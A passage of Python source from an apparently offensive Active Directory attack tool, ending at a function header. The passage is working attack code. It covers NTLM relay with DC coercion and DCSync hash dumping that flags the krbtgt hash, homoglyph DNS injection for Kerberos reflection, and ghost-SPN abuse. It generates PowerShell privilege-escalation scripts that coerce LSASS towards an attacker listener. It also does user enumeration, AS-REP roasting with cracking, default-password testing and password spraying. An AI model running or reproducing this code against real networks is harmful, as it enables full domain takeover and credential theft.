# compromise it now — needed so we can stage relay/coercion from it.
if deleg_host != already_exploited:
log.info(f"🔓 Exploiting delegation host {deleg_host}...")
if not exploit_target(deleg_host, cfg):
log.error("Failed to compromise delegation host")
log.warning("Attempting direct DCSync anyway...")
_run_secretsdump(cfg)
return
if cfg.dry_run:
log.warning("Dry run — would start relay → coerce DC → DCSync")
return
# Start ntlmrelayx listener BEFORE coercion
log.info("🎣 Starting ntlmrelayx listener for DC authentication...")
relay_output = cfg.work_dir / "dc-relay.txt"
relay_proc = run(
["impacket-ntlmrelayx", "-t", cfg.dc_ip, "-smb2support", "--no-http-server"],
cfg, bg=True, outfile=relay_output
)
if not hasattr(relay_proc, 'poll'):
log.error("Failed to start ntlmrelayx for DCSync relay")
log.warning("Attempting direct DCSync instead...")
_run_secretsdump(cfg)
return
time.sleep(2)
if relay_proc.poll() is not None:
log.error(f"ntlmrelayx exited immediately (code {relay_proc.returncode})")
log.warning("Attempting direct DCSync instead...")
_run_secretsdump(cfg)
return
ok(f"ntlmrelayx listener running (PID: {relay_proc.pid})")
try:
# Coerce DC
log.info("🔨 Coercing DC authentication (with fallback methods)...")
coercion_ok = try_dc_coercion(deleg_host, cfg)
if coercion_ok:
log.info("⏳ Waiting for relay to process captured auth...")
time.sleep(5)
# Check relay output
if relay_output.exists():
content = relay_output.read_text()
if re.search(r"authenticated|SAM|NTDS|success", content, re.IGNORECASE):
ok("🎣 Relay captured DC authentication!")
finally:
# Always stop the relay process
try:
relay_proc.terminate()
relay_proc.wait(timeout=5)
except Exception:
try:
relay_proc.kill()
except Exception:
pass
if relay_proc in cfg.bg_processes:
cfg.bg_processes.remove(relay_proc)
# DCSync
_run_secretsdump(cfg)
def _run_secretsdump(cfg: Config):
log.info("🗝️ Attempting DCSync...")
dump_file = cfg.work_dir / "secretsdump.txt"
# Use DC IP as target (FQDN may not resolve from attacker box)
target = cfg.dc_ip or cfg.dc_fqdn
args = [
"impacket-secretsdump",
f"{cfg.auth_string}@{target}",
"-dc-ip", cfg.dc_ip, "-just-dc"
]
if cfg.nthash:
args += ["-hashes", f":{cfg.nthash}"]
result = run(args, cfg, timeout=300, outfile=dump_file)
print(result.stdout[-3000:] if len(result.stdout) > 3000 else result.stdout)
_check_dcsync_result(cfg)
def _check_dcsync_result(cfg: Config):
dump_file = cfg.work_dir / "secretsdump.txt"
if dump_file.exists() and ":::" in dump_file.read_text():
content = dump_file.read_text()
hash_count = content.count(":::")
success_box("DCSync SUCCESSFUL — Domain Compromised!")
ok(f"Extracted {hash_count} credential entries")
detail(f"📁 Hashes saved to: {dump_file}")
# krbtgt
for line in content.splitlines():
if line.startswith("krbtgt:"):
print(f"\n{C.BOLD_YELLOW} 👑 krbtgt hash recovered — GOLDEN TICKET possible:{C.NC}")
print(f"{C.BOLD} {line}{C.NC}")
break
else:
fail_box("DCSync did not return hashes")
log.warning("If you captured a TGT via Rubeus, convert and use:")
detail(f"export KRB5CCNAME={cfg.work_dir}/dc_tgt.ccache")
detail(f"impacket-secretsdump -k -no-pass {cfg.dc_fqdn}")
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# DNS Cleanup
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def cleanup_dns_records(cfg: Config):
if cfg.no_cleanup:
log.warning("Skipping DNS cleanup (--no-cleanup)")
return
# Discover injected records first — no point complaining about a missing
# tool when the chain didn't inject anything in the first place
records = []
for f in cfg.work_dir.glob("exploit-*.txt"):
content = f.read_text()
matches = re.findall(r"(?:Adding DNS record[:\s]+|record.*name[:\s]+)(\S+)", content)
records.extend(matches)
# Unicode-homoglyph DNS records (Synacktiv 2026 chain) are written to
# unicode-dns-*.txt by register_unicode_dns_record(); they need cleanup
# too or the homoglyph hostname stays pointed at attacker forever.
for f in cfg.work_dir.glob("unicode-dns-*.txt"):
content = f.read_text()
# The success log line shape is "...record <homoglyph> -> <attacker_ip>"
for m in re.finditer(r"\brecord\s+(\S+)\s*(?:->|=>|to)\s*\d+\.\d+\.\d+\.\d+", content):
records.append(m.group(1))
if not records:
return # nothing to clean — stay quiet
log.info("🧹 Cleaning up injected DNS records...")
dnstool = find_tool(
"dnstool.py",
paths=[CVE_DIR / "dnstool.py", TOOLS_DIR / "krbrelayx" / "dnstool.py"]
)
if not dnstool:
log.warning(f"dnstool.py not found — cannot auto-cleanup {len(set(records))} DNS record(s)")
return
for record in set(records):
log.info(f"🗑️ Removing DNS record: {record}")
parts = dnstool.split() + ["-u", cfg.auth_string, "-dc-ip", cfg.dc_ip,
"-a", "remove", "-r", record]
run(parts, cfg, timeout=30)
ok("DNS cleanup complete")
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Authentication Reflection Bypass (Synacktiv 2026 — CVE-2026-24294 / 26128,
# CVE-2025-58726 ghost-SPN, Unicode-SPN Kerberos reflection)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _make_unicode_homoglyph(name: str) -> str:
"""Substitute ASCII chars with Unicode homoglyphs that LCMapStringEx
normalizes back to ASCII (so Kerberos issues a TGS for the real host)
but DnsCache CompareStringW treats as distinct (so DNS resolves the
homoglyph record to attacker). Only the FIRST occurrence of each char
is substituted — keeping the diff minimal makes the collision more
likely to survive case folding / locale variation across patch levels."""
out = []
used = set()
for ch in name:
if ch in UNICODE_HOMOGLYPHS and ch not in used:
out.append(UNICODE_HOMOGLYPHS[ch])
used.add(ch)
else:
out.append(ch)
return "".join(out)
def register_unicode_dns_record(spn_target: str, cfg: Config) -> Optional[str]:
"""Register an ADIDNS record for a Unicode-homoglyph variant of the
target hostname pointing to the attacker. Returns the homoglyph FQDN
or None on failure. dnstool.py from krbrelayx is reused; the chain's
standard cleanup_dns_records() picks up the record on exit."""
dnstool = find_tool(
"dnstool.py",
paths=[KRBRELAYX_DIR / "dnstool.py", CVE_DIR / "dnstool.py"]
)
if not dnstool:
log.error("dnstool.py not found — cannot register Unicode DNS record")
log.error("Install krbrelayx: git clone https://github.com/dirkjanm/krbrelayx /opt/tools/krbrelayx")
return None
if not cfg.has_creds:
log.error("Unicode-SPN reflection requires credentials (need DC LDAP write to inject A record)")
return None
homoglyph = _make_unicode_homoglyph(spn_target)
if homoglyph == spn_target:
log.warning(f"No homoglyph substitutions applied to {spn_target} — chars not in table")
return None
log.info(f"📝 Registering Unicode A-record: {homoglyph} -> {cfg.attacker_ip}")
cmd = dnstool.split() + [
"-u", cfg.auth_string, "-dc-ip", cfg.dc_ip,
"-a", "add", "-r", homoglyph, "-d", cfg.attacker_ip, "-t", "A",
]
out_file = cfg.work_dir / f"unicode-dns-{datetime.now():%H%M%S}.txt"
result = run(cmd, cfg, timeout=30, outfile=out_file)
if result.returncode != 0:
log.warning(f"dnstool add failed: {_first_line(result.stderr or '')}")
return None
ok(f"Unicode DNS record registered: {homoglyph}")
return homoglyph
def run_kerberos_reflection(target_fqdn: str, cfg: Config) -> bool:
"""Kerberos AP-REQ reflection via Unicode-SPN collision (Synacktiv blog
Part 2). Coerces target → krbrelayx receives AP-REQ for the homoglyph
SPN → relays to the real target's SMB. Requires a krbrelayx fork that
accepts Unicode `sname` matching (operator must apply the LCMapStringEx
normalization patch — public PoC not yet released)."""
phase_header(f"KERBEROS REFLECTION via Unicode SPN ({target_fqdn})")
if not (KRBRELAYX_DIR / "krbrelayx.py").exists():
log.error(f"krbrelayx not found at {KRBRELAYX_DIR}")
return False
homoglyph = register_unicode_dns_record(target_fqdn, cfg)
if not homoglyph:
return False
log.warning("⚠️ Standard krbrelayx does NOT match Unicode SPNs — apply the")
log.warning(" LCMapStringEx normalization patch to krbrelayx.py first.")
log.warning(" Synacktiv's blog (May 2026, Part 2) describes the patch;")
log.warning(" no public fork at time of writing.")
# Start patched krbrelayx listening for AP-REQ; relay to real target SMB.
out_file = cfg.work_dir / f"kerb-reflect-{target_fqdn}.txt"
relay_cmd = [
"python3", str(KRBRELAYX_DIR / "krbrelayx.py"),
"-t", f"smb://{target_fqdn}",
"--smb2support",
]
if cfg.nthash:
relay_cmd += ["--hashes", f":{cfg.nthash}", "-u", cfg.username]
elif cfg.password:
relay_cmd += ["--krbpass", f"{cfg.username}:{cfg.password}"]
relay_proc = run(relay_cmd, cfg, bg=True, outfile=out_file)
if not relay_proc or (hasattr(relay_proc, "returncode") and relay_proc.returncode != 0):
log.error("krbrelayx failed to start")
return False
ok(f"krbrelayx listener up (PID: {getattr(relay_proc, 'pid', '?')})")
# Coerce the *target host* (not the DC) — the AP-REQ listens for the
# homoglyph SPN. PetitPotam.py: <listener> <target>.
log.info(f"🔨 Coercing {target_fqdn} → \\\\{homoglyph}\\share\\foo")
coerce_outfile = cfg.work_dir / f"kerb-reflect-coerce-{target_fqdn}.txt"
petitpotam = find_tool(
"impacket-PetitPotam", "PetitPotam.py",
paths=[Path("/usr/share/doc/python3-impacket/examples/PetitPotam.py"),
TOOLS_DIR / "PetitPotam" / "PetitPotam.py"],
)
if petitpotam:
coerce_cmd = petitpotam.split() + _build_coerce_auth(cfg) + [homoglyph, target_fqdn]
run(coerce_cmd, cfg, timeout=60, outfile=coerce_outfile)
time.sleep(15)
relay_output = out_file.read_text() if out_file.exists() else ""
if "Authenticating against" in relay_output or "Target system" in relay_output:
ok(f"Kerberos reflection succeeded against {target_fqdn}")
return True
log.warning("No relay activity — check krbrelayx output for Unicode-SPN match failures")
return False
def detect_loopback_candidates(cfg: Config, smb_enum_path: Path) -> list[str]:
"""Parse nxc SMB enumeration output for OS strings that indicate
potential CVE-2026-24294 / 26128 LPE candidates (Server 2025, Win11
24H2, pre-March-2026 build). Saves matches to loopback-candidates.txt
so the operator can target reflect-tcpport / reflect-loopback there."""
if cfg.no_loopback_check or not smb_enum_path.exists():
return []
candidates = []
for line in smb_enum_path.read_text().splitlines():
if any(hint in line for hint in LOOPBACK_VULNERABLE_OS_HINTS):
m = re.search(r"(\d+\.\d+\.\d+\.\d+)", line)
if m and m.group(1) not in candidates:
candidates.append(m.group(1))
if candidates:
out = cfg.work_dir / "loopback-candidates.txt"
out.write_text("\n".join(candidates) + "\n")
ok(f"📋 {len(candidates)} loopback-LPE candidate(s) (CVE-2026-24294/26128)")
for c in candidates:
detail(f"{c} — try --phase reflect-tcpport or reflect-loopback")
return candidates
def try_ghost_spn_upgrade(target_machine: str, cfg: Config) -> bool:
"""CVE-2025-58726: after relaying to LDAP and obtaining SPN-write rights
on a target machine account, plant a ghost SPN, then trigger a Kerberos
coercion to that SPN — DC issues TGS the attacker can decrypt + relay.
Opportunistic: only fires when bloodyAD reports SPN-write success."""
if cfg.no_ghost_spn or not cfg.has_creds:
return False
if not tool_exists("bloodyAD"):
log.warning("bloodyAD not found — skipping ghost-SPN upgrade")
return False
log.info(f"👻 Attempting CVE-2025-58726 ghost-SPN on {target_machine}")
ghost_spn = f"HOST/ghost-{int(time.time())}.{cfg.domain}"
out_file = cfg.work_dir / f"ghost-spn-{target_machine}.txt"
# 1) Set TRUSTED_FOR_DELEGATION on the target. Check the rc — if this
# fails (e.g. SeEnableDelegation missing) the rest of the chain is
# pointless, so abort cleanly instead of silently proceeding.
uac_cmd = ["bloodyAD"] + _bloody_auth_args(cfg) + [
"add", "uac", target_machine, "-f", "TRUSTED_FOR_DELEGATION",
]
uac_result = run(uac_cmd, cfg, timeout=30, outfile=out_file)
if uac_result.returncode != 0:
log.warning(f"UAC TRUSTED_FOR_DELEGATION write failed on {target_machine} — "
f"skipping ghost-SPN (need SeEnableDelegation)")
return False
spn_cmd = ["bloodyAD"] + _bloody_auth_args(cfg) + [
"set", "object", target_machine, "servicePrincipalName", "-v", ghost_spn,
]
result = run(spn_cmd, cfg, timeout=30, outfile=out_file)
if result.returncode != 0:
log.warning(f"Ghost-SPN write failed (need SPN-write rights on {target_machine})")
# Roll back the UAC change since the SPN side never landed.
if not cfg.no_cleanup and tool_exists("bloodyAD"):
run(["bloodyAD"] + _bloody_auth_args(cfg) +
["remove", "uac", target_machine, "-f", "TRUSTED_FOR_DELEGATION"],
cfg, timeout=30)
return False
ok(f"Ghost SPN planted: {ghost_spn}")
detail(f"Trigger Kerberos coercion to {ghost_spn} → krbtgt-encrypted TGS issued")
detail(f"Decrypt with {target_machine}$ key and relay (krbrelayx --aesKey)")
detail(f"Cleanup: bloodyAD remove object {target_machine} servicePrincipalName -v {ghost_spn}")
detail(f" bloodyAD remove uac {target_machine} -f TRUSTED_FOR_DELEGATION")
return True
def run_reflect_tcpport(cfg: Config) -> bool:
"""CVE-2026-24294 LPE — generates the operator script for the foothold
(Win11 24H2 / Server 2025 pre-March-2026). The Kali side hosts a relay
listener; the operator runs the generated PowerShell on the foothold to
spawn a local SMB server on a high port, mount it via `net use`, then
coerce LSASS — TCP reuse forwards the privileged auth to the attacker
listener which relays it back to the real SMB → SYSTEM."""
phase_header(f"CVE-2026-24294 LPE — SMB-on-tcpport reflection (port {cfg.reflect_port})")
target_label = cfg.reflect_host or "<foothold>"
script_path = cfg.work_dir / "reflect-tcpport-trigger.ps1"
if cfg.dry_run:
print(f"{C.YELLOW} [DRY RUN] would write {script_path}{C.NC}")
return True
script_path.write_text(f"""# CVE-2026-24294 trigger — run on the {target_label} foothold (admin shell NOT required)
# Prereq: Win11 24H2 or Server 2025, pre-March-2026 patch (no loopback-signing enforcement)
# Usage: powershell -ExecutionPolicy Bypass -File reflect-tcpport-trigger.ps1
$attacker = '{cfg.attacker_ip}'
$port = {cfg.reflect_port}
# 1. Mount attacker SMB on arbitrary TCP port (WNetAddConnection4W /tcpport flag)
Write-Host "[*] Mounting \\\\$attacker\\share on TCP $port"
& net use "\\\\$attacker\\share" "/tcpport:$port" /persistent:no
# 2. Coerce LSASS to authenticate to the same UNC (TCP connection reuse)
# PetitPotam-style local trigger; modify if your Windows build needs a different RPC.
Write-Host "[*] Triggering local privileged auth (LSASS → SMB on port $port)"
$petit = "$env:TEMP\\petit_local.exe"
if (-not (Test-Path $petit)) {{
Write-Host "[!] Drop a local PetitPotam binary at $petit (e.g., topotam/PetitPotam Release.exe)"
exit 1
}}
& $petit $env:COMPUTERNAME "\\\\$attacker\\share\\foo"
Write-Host "[+] Done — check attacker-side ntlmrelayx for SYSTEM session on local SMB"
""")
ok(f"Operator trigger script: {script_path}")
smb_relay_target = f"{cfg.reflect_host or 'localhost'}:445"
log.info(f"🎣 Starting ntlmrelayx (port {cfg.reflect_port}) → relay to {smb_relay_target}")
relay_out = cfg.work_dir / "reflect-tcpport-relay.txt"
relay_proc = run(
["impacket-ntlmrelayx", "-t", f"smb://{smb_relay_target}",
"-smb2support", "--no-http-server", "--no-wcf-server",
"--smb-port", str(cfg.reflect_port)],
cfg, bg=True, outfile=relay_out,
)
if not relay_proc:
return False
log.warning("⚠️ Stock impacket-smbserver may not parse privileged blobs on")
log.warning(" a shared TCP connection — Synacktiv blog Part 1 describes the")
log.warning(" smbserver patch needed. No public PoC at time of writing.")
detail(f"Drop {script_path.name} on the foothold and execute it")
detail(f"Watch {relay_out} for SYSTEM session")
detail("Listener stays up until --poison-duration (default 120s) or Ctrl+C")
time.sleep(min(cfg.poison_duration, 600))
return True
def run_reflect_loopback(cfg: Config) -> bool:
"""CVE-2026-26128 LPE — Kerberos loopback variant. Generates an operator
script that registers the Unicode-SPN DNS record, deploys a local TCP
forwarder on the foothold, and triggers coercion. The AP-REQ travels
through the loopback forwarder; loopback-signing-enforcement off ⇒
privileged SMB session opens locally."""
phase_header(f"CVE-2026-26128 LPE — Kerberos loopback reflection")
target_fqdn = cfg.dc_fqdn if cfg.reflect_host == cfg.dc_ip else (cfg.reflect_host or cfg.dc_fqdn)
if not target_fqdn:
log.error("--phase reflect-loopback needs --target/-T (foothold FQDN) or --dc-fqdn")
return False
homoglyph = register_unicode_dns_record(target_fqdn, cfg)
if not homoglyph:
log.warning("Could not register Unicode DNS — operator must inject manually")
homoglyph = _make_unicode_homoglyph(target_fqdn)
script_path = cfg.work_dir / "reflect-loopback-trigger.ps1"
if cfg.dry_run:
print(f"{C.YELLOW} [DRY RUN] would write {script_path}{C.NC}")
return True
script_path.write_text(f"""# CVE-2026-26128 trigger — run on the {target_fqdn} foothold (admin shell NOT required)
# Prereq: Win11 24H2 or Server 2025, pre-March-2026 patch
# Pair with: krbrelayx (Unicode-SPN patch) on attacker {cfg.attacker_ip}
$homoglyph = '{homoglyph}'
$attacker = '{cfg.attacker_ip}'
# 1. Local TCP forwarder: 127.0.0.2:88 -> attacker:88 (krbrelayx)
# netsh portproxy keeps loopback-source IP, satisfying old IP-based checks.
Write-Host "[*] Setting up loopback forwarder 127.0.0.2:88 -> $attacker:88"
& netsh interface portproxy add v4tov4 listenaddress=127.0.0.2 listenport=88 `
connectaddress=$attacker connectport=88
# 2. Trigger coercion to the homoglyph SPN — DC issues TGS for the real host;
# AP-REQ goes via loopback → krbrelayx → real SMB.
Write-Host "[*] Coercing local auth to $homoglyph"
$petit = "$env:TEMP\\petit_local.exe"
if (-not (Test-Path $petit)) {{
Write-Host "[!] Drop a local PetitPotam binary at $petit"
exit 1
}}
& $petit -pipe efsr $env:COMPUTERNAME "\\\\$homoglyph\\share\\foo"
Write-Host "[+] Done — check attacker-side krbrelayx for SYSTEM session"
Write-Host "[*] Cleanup: netsh interface portproxy delete v4tov4 listenaddress=127.0.0.2 listenport=88"
""")
ok(f"Operator trigger script: {script_path}")
if not (KRBRELAYX_DIR / "krbrelayx.py").exists():
log.error(f"krbrelayx not found at {KRBRELAYX_DIR}")
return False
relay_out = cfg.work_dir / "reflect-loopback-relay.txt"
log.info(f"🎣 Starting krbrelayx (Kerberos AP-REQ on :88) → relay to {target_fqdn}")
relay_cmd = [
"python3", str(KRBRELAYX_DIR / "krbrelayx.py"),
"-t", f"smb://{target_fqdn}",
"--smb2support",
]
if cfg.has_creds:
relay_cmd += ["--krbpass", f"{cfg.username}:{cfg.password or ''}"]
relay_proc = run(relay_cmd, cfg, bg=True, outfile=relay_out)
if not relay_proc:
return False
log.warning("⚠️ krbrelayx needs the Unicode-SPN matching patch (LCMapStringEx")
log.warning(" normalization). No public fork at time of writing — apply manually.")
detail(f"Drop {script_path.name} on the foothold and execute it")
detail(f"Watch {relay_out} for SYSTEM session on {target_fqdn}")
time.sleep(min(cfg.poison_duration, 600))
return True
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# Pre-cut Credential Discovery (zero-auth foothold finding)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
#
# Six zero-auth techniques to find a first credential when classic
# capture (ARP+relay, WPAD poisoning) is degraded by modern controls
# (Defender for Identity, NAC, smart-card-primary auth, strong password
# policy). Each technique is non-fatal — failures log and continue.
# Curated AD-biased username candidate list — TRIED FIRST. Picks high-yield
# enterprise patterns: built-in AD accounts, common admin/service prefixes,
# IT-role names, and the top first names. ~100 entries → fast initial pass.
# If this list yields zero valid users, we fall back to SecLists.
_AD_BIASED_USERS = [
# Well-known built-in AD accounts
"Administrator", "Guest", "krbtgt", "DefaultAccount", "WDAGUtilityAccount",
"HelpAssistant", "Support_388945a0",
# Admin patterns
"admin", "administrator", "adm", "domainadmin", "enterpriseadmin",
"schemaadmin", "sysadmin", "superuser", "root",
# Service-account prefixes (svc_*)
"svc", "service", "svcadmin", "svc_admin", "svc_sql", "svc_exchange",
"svc_backup", "svc_iis", "svc_smtp", "svc_print", "svc_scan",
"svc_monitoring", "svc_ldap", "svc_sso", "svc_vmware", "svc_sccm",
"svc_jenkins", "svc_sharepoint", "svc_owa", "svc_adsync", "svc_aad",
"svc_veeam", "svc_ad",
# IT roles
"helpdesk", "ithelp", "support", "it", "itadmin", "networkadmin",
"netadmin", "security", "soc", "infosec", "audit",
# Backup / ops / monitoring
"backup", "backupadmin", "operator", "operations", "ops", "monitor",
"monitoring", "nagios", "zabbix",
# Dev / build / test
"developer", "dev", "devops", "deploy", "build", "jenkins",
"test", "testuser", "qa", "uat",
# Database / app
"sa", "sql", "mssql", "oracle", "postgres", "mysql", "dba", "sqladmin",
# Apps / platforms
"exchange", "exchadmin", "sccm", "intune", "vmware", "vcenter",
"sharepoint", "veeam",
# Generic / placeholder
"user", "user1", "user01", "default", "public", "guest1",
# Top first names (enterprise AD common)
"alex", "andrew", "anna", "brian", "chris", "daniel", "david",
"emily", "emma", "james", "jennifer", "john", "joseph", "kevin",
"mark", "mary", "matthew", "michael", "nicholas", "paul",
"peter", "richard", "robert", "sarah", "scott", "thomas",
"timothy", "william",
]
# Built-in micro fallback if neither the curated AD list nor SecLists
# is available (extreme degraded mode).
_BUILTIN_USERS = [
"administrator", "admin", "guest", "krbtgt", "test", "user",
"service", "svc", "backup", "operator", "support", "helpdesk",
"sql", "sqladmin", "mssql", "exchange", "scanner", "printer",
"vmware", "webmaster", "ftp", "vpn", "wireless", "domainadmin",
]
# Common SecLists locations on Kali for username candidates (fallback tier).
_SECLISTS_USER_PATHS = [
"/usr/share/seclists/Usernames/Names/names.txt",
"/usr/share/seclists/Usernames/top-usernames-shortlist.txt",
"/usr/share/wordlists/seclists/Usernames/Names/names.txt",
]
def _load_user_candidates(cfg: Config, *, tier: str = "ad") -> list[str]:
"""Pick a username list. Three tiers, called in escalation order:
tier="ad" -> curated AD-biased ~100 list (TRIED FIRST). Skipped
if --users-file is given.
tier="seclists" -> SecLists Names/names.txt (~10K). Used as fallback
when the AD-biased pass found nothing.
tier="builtin" -> 24-name micro list (extreme degraded mode).
--users-file always wins regardless of tier.
"""
if cfg.users_file and Path(cfg.users_file).is_file():
try:
return [ln.strip() for ln in Path(cfg.users_file).read_text().splitlines()
if ln.strip() and not ln.startswith("#")]
except OSError as e:
log.warning(f"Could not read {cfg.users_file}: {e} — falling back")
if tier == "ad":
return list(_AD_BIASED_USERS)
if tier == "seclists":
for p in _SECLISTS_USER_PATHS:
if Path(p).is_file():
log.info(f"Using SecLists user candidates: {p}")
try:
return [ln.strip() for ln in Path(p).read_text().splitlines()
if ln.strip() and not ln.startswith("#")]
except OSError:
continue
log.info("No SecLists installed — using built-in 24-name shortlist")
return list(_BUILTIN_USERS)
return list(_BUILTIN_USERS)
def _userenum_kerbrute(cfg: Config, candidates: list[str]) -> list[str]:
"""Kerberos-based user enumeration via kerbrute. Returns valid usernames.
Output streams directly to terminal (kerbrute has its own progress
reporting); valid hits are also written via -o for parsing afterwards.
"""
if not tool_exists("kerbrute"):
log.info("kerbrute not installed — skipping Kerberos userenum")
return []
if not (cfg.dc_ip and cfg.domain):
log.info("No DC/domain known — skipping kerbrute userenum")
return []
cand_file = cfg.work_dir / "userenum-candidates.txt"
cand_file.write_text("\n".join(candidates) + "\n")
out_file = cfg.work_dir / "userenum-kerbrute.txt"
cmd = ["kerbrute", "userenum", "-d", cfg.domain, "--dc", cfg.dc_ip,
"-o", str(out_file), str(cand_file)]
log.info(f"🔍 kerbrute userenum ({len(candidates)} candidates) — streaming")
if cfg.dry_run:
print(f" [DRY RUN] {' '.join(cmd)}")
else:
try:
# No capture: kerbrute streams progress directly to operator.
subprocess.run(cmd, timeout=600, check=False)
except subprocess.TimeoutExpired:
log.warning("kerbrute userenum timed out (10min cap)")
except Exception as e:
log.warning(f"kerbrute userenum error: {e}")
valid = []
if out_file.exists():
for line in out_file.read_text().splitlines():
m = re.search(r"VALID USERNAME:\s+(\S+?)@", line)
if m:
valid.append(m.group(1))
if valid:
ok(f"kerbrute confirmed {len(valid)} valid user(s)")
for u in valid[:10]:
detail(u)
return valid
_CLDAP_MAX_CANDIDATES = 500 # 5s/query × 500 ≈ 42min worst case; usually much less
def _userenum_cldap(cfg: Config, candidates: list[str]) -> list[str]:
"""CLDAP NetLogon ping userenum (sensepost technique). Returns valid users.
Each CLDAP probe has a 5s socket timeout; large candidate lists
explode runtime. Cap at _CLDAP_MAX_CANDIDATES — by the time we run
this, kerbrute has typically already narrowed the list.
"""
if not tool_exists("userenum-cldap"):
log.info("userenum-cldap not installed — skipping CLDAP userenum")
return []
if not (cfg.dc_ip and cfg.domain):
log.info("No DC/domain known — skipping CLDAP userenum")
return []
if len(candidates) > _CLDAP_MAX_CANDIDATES:
log.info(f"CLDAP: capping {len(candidates)} -> {_CLDAP_MAX_CANDIDATES} candidates")
candidates = candidates[:_CLDAP_MAX_CANDIDATES]
cand_file = cfg.work_dir / "userenum-cldap-input.txt"
cand_file.write_text("\n".join(candidates) + "\n")
out_file = cfg.work_dir / "userenum-cldap.txt"
# Pipe through tee so output streams to operator AND is captured.
cmd = ["bash", "-c",
f"userenum-cldap {cfg.dc_ip} {cfg.domain} {cand_file} 2>&1 | tee {out_file}"]
log.info(f"🔍 CLDAP userenum ({len(candidates)} candidates) — streaming")
if cfg.dry_run:
print(f" [DRY RUN] userenum-cldap {cfg.dc_ip} {cfg.domain} {cand_file}")
else:
try:
subprocess.run(cmd, timeout=900, check=False)
except subprocess.TimeoutExpired:
log.warning("CLDAP userenum timed out (15min cap)")
except Exception as e:
log.warning(f"CLDAP userenum error: {e}")
valid = []
if out_file.exists():
for line in out_file.read_text().splitlines():
m = re.match(r"\[\+\]\s+(\S+)\s+exists", line)
if m:
valid.append(m.group(1))
if valid:
ok(f"CLDAP confirmed {len(valid)} valid user(s)")
for u in valid[:10]:
detail(u)
return valid
def _asrep_roast_zero_auth(cfg: Config, users: list[str]) -> bool:
"""AS-REP roast a userlist with no creds. Cracks any DONT_REQ_PREAUTH user.
Returns True if any credential was cracked into cfg.creds.
"""
if not (tool_exists("impacket-GetNPUsers") and cfg.dc_ip and cfg.domain):
return False
if not users:
return False
user_file = cfg.work_dir / "asrep-userlist.txt"
user_file.write_text("\n".join(users) + "\n")
hash_file = cfg.work_dir / "asrep-hashes-zeroauth.txt"
cmd = ["impacket-GetNPUsers", f"{cfg.domain}/", "-usersfile", str(user_file),
"-no-pass", "-dc-ip", cfg.dc_ip, "-format", "hashcat",
"-outputfile", str(hash_file)]
log.info(f"🔍 AS-REP roast (zero-auth) over {len(users)} candidates")
run(cmd, cfg, timeout=180)
if not (hash_file.exists() and hash_file.stat().st_size > 0):
log.info("No AS-REP roastable accounts (good preauth posture)")
return False
ok(f"AS-REP hashes captured: {hash_file}")
# Crack what we got
if tool_exists("hashcat"):
cracked = cfg.work_dir / "asrep-cracked-zeroauth.txt"
run(["hashcat", "-m", "18200", str(hash_file), "/usr/share/wordlists/rockyou.txt",
"--quiet", "--outfile", str(cracked), "--outfile-format=2"],
cfg, timeout=600)
if cracked.exists() and cracked.stat().st_size > 0:
for line in cracked.read_text().splitlines():
# rockyou-cracked AS-REP comes back as just <password>
if line.strip():
ok(f"🔑 Cracked AS-REP password — manual review needed: {cracked}")
return True
return False
def _pre2k_autotest(cfg: Config) -> bool:
"""Pre-2000 computer accounts: default password = lowercase(computername).
Reads pre2k results from v4.6.0 nxc enrichment if present, then auto-
tests each candidate via nxc smb. Sets cfg.creds on first hit.
"""
if not tool_exists("nxc"):
return False
pre2k_file = cfg.work_dir / "nxc-pre2k.txt"
if not pre2k_file.exists():
# Run pre2k inline if not already done
cmd = ["nxc", "ldap", cfg.dc_ip, "-u", "", "-p", "", "-M", "pre2k"]
run(cmd, cfg, timeout=120, outfile=pre2k_file)
if not pre2k_file.exists():
return False
# Extract computer names from nxc output (look for SamAccountName-like lines)
candidates = []
for line in pre2k_file.read_text().splitlines():
# nxc pre2k typically prints "[+] hostname$" or similar; conservative match
m = re.search(r"\b([A-Za-z0-9_-]+)\$", line)
if m:
candidates.append(m.group(1))
candidates = list(dict.fromkeys(candidates)) # dedupe, preserve order
if not candidates:
return False
log.info(f"🔍 Auto-testing {len(candidates)} pre2k candidate(s)")
for comp in candidates:
sam = f"{comp}$"
pwd = comp.lower()
cmd = ["nxc", "smb", cfg.dc_ip, "-u", sam, "-p", pwd, "-d", cfg.domain]
result = run(cmd, cfg, timeout=30)
if result.returncode == 0 and "[+]" in (result.stdout or ""):
ok(f"🔑 Pre2k credential works: {sam} / {pwd}")
cfg.username = sam
cfg.password = pwd
return True
return False
def _password_spray(cfg: Config, users: list[str], password: str) -> bool:
"""Single-password spray with one attempt per user. Stops on first hit.
Lockout-aware: explicit single password only; user is responsible for
timing if running multiple sprays.
"""
if not (tool_exists("nxc") and password and users):
return False
user_file = cfg.work_dir / "spray-users.txt"
user_file.write_text("\n".join(users) + "\n")
# Sanitize the password into a safe filename component — it may contain
# /, \, NUL, quotes, or other path-invalid chars that would crash the
# write or, worst-case, traverse out of work_dir.
pw_slug = re.sub(r"[^A-Za-z0-9_-]", "_", password)[:32] or "pw"
out_file = cfg.work_dir / f"spray-{pw_slug}.txt"
cmd = ["nxc", "smb", cfg.dc_ip, "-u", str(user_file), "-p", password,
"-d", cfg.domain, "--continue-on-success"]
log.info(f"🔍 Spraying '{password}' across {len(users)} user(s)")
result = run(cmd, cfg, timeout=600, outfile=out_file)
if not out_file.exists():
return False
for line in out_file.read_text().splitlines():
# nxc success line example: "SMB <ip> 445 <host> [+] DOMAIN\\user:pass"
m = re.search(r"\[\+\]\s+\S+\\(\S+):" + re.escape(password), line)
if m:
user = m.group(1)
ok(f"🔑 Spray hit: {user} / {password}")
cfg.username = user
cfg.password = password
return True
log.info(f"Spray '{password}' returned no hits")
return False
def run_credential_discovery(cfg: Config) -> bool:
